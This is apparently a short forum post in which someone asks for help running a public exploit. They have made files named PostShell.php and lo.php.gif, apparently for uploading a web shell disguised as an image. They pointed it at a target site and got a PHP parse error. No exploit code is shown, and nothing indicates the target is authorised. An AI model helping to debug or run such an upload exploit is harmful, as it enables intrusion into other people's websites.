Can Someone Please Give Me Assistance with This Exploit?

Can someone help me understand this exploit? From the exploit I assumed I was supposed to make two files using the code provided. One named PostShell.php and one named lo.php.gif. I've done that and changed the curl_init value to the url of the website. I ran php PostShell.php but get the following error:

PHP Parse error: syntax error, unexpected '"http://www.targetwebsite.com/w' (TCONSTANTENCAPSED_STRING) in /root/postshell.php on line 5

Thanks for those who can help!
